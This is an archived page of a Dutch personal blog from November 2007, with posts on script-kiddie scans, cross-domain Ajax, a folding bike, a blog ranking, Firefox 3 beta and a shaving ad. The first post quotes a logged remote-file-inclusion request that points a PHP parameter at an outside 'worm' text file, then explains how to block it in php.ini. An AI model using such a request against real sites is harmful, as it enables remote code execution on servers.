Monthly Archives: November 2007

Nodig eens een script kiddie uit

Ha, script kiddies, onzekere puistenkopjes die onze servers onveilig maken met scriptjes die web-sites en -applicaties automatisch scannen op gaatjes en die direct in de aanval gaan als ze zo een gaatje vinden! In mijn logfiles vind ik veel requests van zo’n scripts, bijvoorbeeld:

84.234.71.216 – – [28/Nov/2007:20:49:01 +0100] “GET /index.php?action=http://www.raphael.brasilhost.org/worm/safeon.txt?? HTTP/1.1” 200 22686 “-” “libwww-perl/5.79”

Deze scanner probeert een tekortkoming in één of ander PHP-pakket te exploiteren om vijandige code uit te laten voeren. Je zou misschien verwachten dat die index.php dat niet zomaar toelaat, door o.a. de variabele ‘action’ zelf te initialiseren en te controleren of de inhoud ervan aanvaardbaar is vooraleer die te gebruiken in een include, maar sommige php-developers houden niet genoeg rekening met de kracht van commando’s als fopen, include(_once) en require(_once).

Want in dat gevaarlijke PHP kun je met fopen inderdaad ook remote files openen, handig om bv. rss-feeds te verwerken. Als het externe bestand echter php-code bevat, dan kan de inhoud van die textfile daarna met behulp van eval ook uitgevoerd worden op jouw server. En als je het externe bestand met include of require binnenhaalt, is die tweede stap zelfs niet nodig. Code-injectie dus en geloof me, dat is zelden de bedoeling. ‘Remote code execution’ staat dan ook niet voor niets op de eerste plaats in Owasps PHP top 5 security issues.

Wilt dat zeggen dat je als modale gebruiker dan volledig van het security-bewustzijn van de programmeurs afhangt? Ja eigenlijk, maar in dit geval toch “ja, maar”. Want wie toegang heeft tot php.ini, kan daar allow_url_fopen op false zetten om het binnenhalen van remote files met commando’s uit de fopen-familie onmogelijk te maken. Als je versie van PHP 5.2 of hoger is, kun je ook specifiek allow_url_include op false zetten om enkel het automatisch uitvoeren van code in externe bestanden met include en require te verhinderen. En terwijl je dan toch in je php.ini zit te foefelen, kun je direct ook even controleren of register_globals wel op Off staat, want bovenstaande ‘automated hack attack’ gaat er ook van uit dat die setting lekker ouderwets op “On” staat.

Over internet en development, en waarom ik er zo goed in ben!

Het is toch straf dat de web-bozo’s van één van Europa’s grootste IT-services bedrijven weer eens moeten toegeven dat guru Goossens toch gelijk heeft?

“Jaja, cross-domain Ajax dat kan, de nieuwe DWR maakt dat immers
allemaal perfect mogelijk.”

Toen ze me dat een paar maand geleden antwoordden, lachte ik minzaam en besloot rustig af te wachten. Want als ze mijn recept niet moeten, dan lijden ze maar honger. ‘t Is toch waar zeker? Want ik wist dat ze vroeg of laat toch tot het besef zouden komen dat dat inderdaad niet werkt. Security warnings all over the place. En dan “Het ligt aan de browsers” roepen, ja, tarara!

Het is alleen spijtig dat ze pas enkele dagen voor de release tot die conclusie komen, het zou de multinational in kwestie heel wat geld en kopzorgen bewaard hebben als ze vroeger naar mijn onbetaalbaar advies hadden geluisterd.

Enne, als voetnoot; met een iframe gaan klooien is écht geen proper alternatief jongens!

(Met dank aan meester- marketeer entertainer Steven Feys)

Terug op de vouwfiets!

vero = cheapo dahon vouwfietsHet heeft even geduurd, maar ik vouwfiets sinds vorige week dinsdag opnieuw vrolijk door Brussel. In tegenstelling tot wat de aficionados me aanraadden, ben ik niet voor een Brompton gegaan. En een Birdy, da’s al helemaal out of my league.

Nee, ik heb voor de goedkoop gekozen; een Dahon Roo D7 die dan nog eens onder vreemde vlag vaart. Met mijn Vero (afkorting van de naam van de groothandelaar die zich een container van die merkloze Dahons heeft gekocht) heb ik een splinternieuwe vouwfiets die echt wel ongelofelijk goed bolt voor minder dan 400 euro. Het versnellingsapparaat schakelt als boter en het in hoogte verstelbaar stuur is ook handig. Als ik de bouw van de oude Dahon en de nieuwe Vero (Dahon) vergelijk, valt ook op dat het scharnier van de stuurstang er nu veel degelijker uitziet. En een nieuwe fiets, dat betekent garantie; 2 jaar op de fiets en zelfs 10 jaar op de kader. Dat het echt niet fout kan gaan, toch? Ik zal eens zwaaien als ik U voorbijzoef op uw stevige gietijzeren Brompton! ;-)

Plechtig Welkomstwoord

Ge ziet het, ge ruikt het; hier is keihard getimmerd, geverfd en behangen. Welkom in mijn verse blogthuis dus!

Voor de techies onder U snel wat gegevens:

Alles ziet er op het eerste zicht OK uit peins ik, maar als ge toch fouten ziet of denkt dat dat echt beter moet kunnen, dan lees ik het graag in de comments of in een mailtje!

Met de staart trots in de lucht

MetaTale widgetDat ik een onwaarschijnlijke 17 (op 25) haal op de Metatale-schaal van blogzaamheid! Nu gij! De score van je eigen of andermans blog kun je overigens zelf op deze Metatale-pagina laten berekenen.

Metatale (verhaal en niet staart dus, maar dat laatste paste beter voor een catchy titel) kwantificeert eigenlijk de “invloed” van een blog. Hoe hoger de score, hoe invloedrijker. Over de alchemie en raketwetenschap die achter de oneindig complexe Metatale-logaritmen zit, was tot op de dag van vandaag echter weinig geweten. Ik heb dan ook geen idee waar ik die 17 aan verdiend heb (“invloedrijk, moi?”), maar het is een pracht-formule, dat spreekt voor zich! ;-)

Na de eerste euforie over mijn nooit-gedacht-maar-toch-gekomen “17”, vroeg ik me in de loop van deze middag steeds zenuwachtiger handenwringend af of ik nu ook in die magische Metatale Top100 zou komen. Tot iets voor 16h iedereen aan de Reyerslaan opschrok van mijn wilde overwinningsdans; ik ben immers … 47ste! Nu nog zien hoe ik die vervelende lama van haar 31ste plaats kan stoten.

Update: zoals Bart aangeeft, meer info over het algoritme op http://www.ondernemeringent.be. Ook leuk: mede-geekdinner-geeks Serge en Elise staan ook in de top100! Ik ben nog nooit op die geekdinners geweest, maar als ik kom, dan drinken we er enen op eh?

Nog een update: vreemd dat onze webwerkers, waar de laatste post van 11 juni dateert, ook een 17 krijgt en in de top 100 (op 94) staat …

Firefox 3 beta 1, nu gratis te downloaden!

Jaja, Firefox is altijd gratis, maar dit postje moet nu eenmaal een titel en die mag al eens een wenkbrauw doen fronsen, toch? Het is voor de rest immers niet echt groot nieuws, mensen die nog op browsers kicken zijn eergisteren al luid schreeuwend klaargekomen. Maar Firefox 3 is dus inderdaad in Beta.

Ik citeer de Mozilla Developer Center-blog snel even om de belangrijkste nieuwe features op te lijsten:

  • Improved security features such as: better presentation of website identity and security, malware protection, stricter SSL error pages, anti-virus integration in the download manager, and version checking for insecure plugins.
  • Improved ease of use through: better password management, easier add-on installation, new download manager with resumable downloading, full page zoom, animated tab strip, and better integration with Windows Vista and Mac OS X.
  • Richer personalization through: one-click bookmarking, smart search bookmark folders, direct typing in location bar searches your history and bookmarks for URLs and page titles, ability to register web applications as protocol handlers, and better customization of download actions for file types.
  • Improved platform features such as: new graphics and font rendering architecture, major changes to the HTML rendering engine to provide better CSS, float-, and table layout support, native web page form controls, colour profile management, and offline application support.
  • Performance improvements such as: better data reliability for user profiles, architectural improvements to speed up page rendering, over 300 memory leak fixes, and a new XPCOM cycle collector to reduce entire classes of leaks.

Ziet er goed uit, zeker de 2 laatste puntjes. “Get the basics right”, leerde ik op het werk tijdens brainstorm-sessions, is immers de absolute voorwaarde om customer experience te verbeteren en daar zijn de Mozilla developers dus blijkbaar ook mee bezig. Meer info in de release-notes, waar overigens ook het volgende staat:

“Please note that installing Firefox 3 Beta 1 will overwrite your
existing installation of Firefox.”

En dan vraag ik me onwillekeurig af of ik dat wel wil, zo een wild beta-veulen dat mijn trusty FF2-knol komt buitenschoppen? Of zou apart installeren toch lukken, als ik zelf een alternatief installatie-pad opgeef? En als ik FF3 dan opstart met een vers profiel en ik in FF2 mijn oud profiel blijf gebruiken? Hmmm …

Blijf eraf, ‘t zijn mijn kiwi’s!

kiwi-angstDat was schrikken, afgelopen weekend! Van wat er op die foto hiernaast staat, bedoel ik. Ik ging zaterdagavond met mijn vrouwtje naar een leuke Nederlandse film (aanrader voor wie niet vies is van een lach, een traan en wat romantiek) in de Metropolis in Antwerpen. Voor de voorstelling begon, wilde ik snel de urinoirs nog even inspecteren, kwestie van me daarna met een geruste blaas in het rode pluche te kunnen laten wegzakken. Terwijl ik de natuur haar werk liet doen, keek ik wat om me heen en toen zag ik die affiche dus hangen: 2 Kiwi’s … vreemd. Scheren? Kiwi’s? Huh? Mijn kiwi’s?? Eeeeeeeeeeks!!!

Ge begrijpt het, deze tongue-in-cheeck reclame was voor de Philips Bodygroom waarmee ge onder andere uw … hoe zegt ge dat … teelballen kunt scheren. De Hollandse mafketels (of is het de schuld van de Amerikaanse marketeers?) hebben zelfs een campagne-site waarop indien mogelijk nog tongue-in-cheeker wordt uitgelegd op welke plaatsen een man zich zoal hoort te scheren om mee te zijn met de laatste lichaamshaar-mode. Het antwoord: overal! Geen haartje mag er blijven staan, nergens! Behalve op uw hoofd natuurlijk, daar hoort het weelderig te groeien, dik en donker en viriel, zo zijn ze wel! Slecht nieuws voor het wollig tapijtje op mijn linker schouderblad, voor de donshaartjes op mijn stoere ribbenkast, voor de krulletjes op … Soit, ge hoort me al afkomen, van mijn fruit blijven ze af met hun hyper-hygiënisch gelul. Laat dat haar maar groeien, dat hangt, staat en krult daar goed! Want voor die optical inch, daar moeten we het toch niet voor doen. Nèm!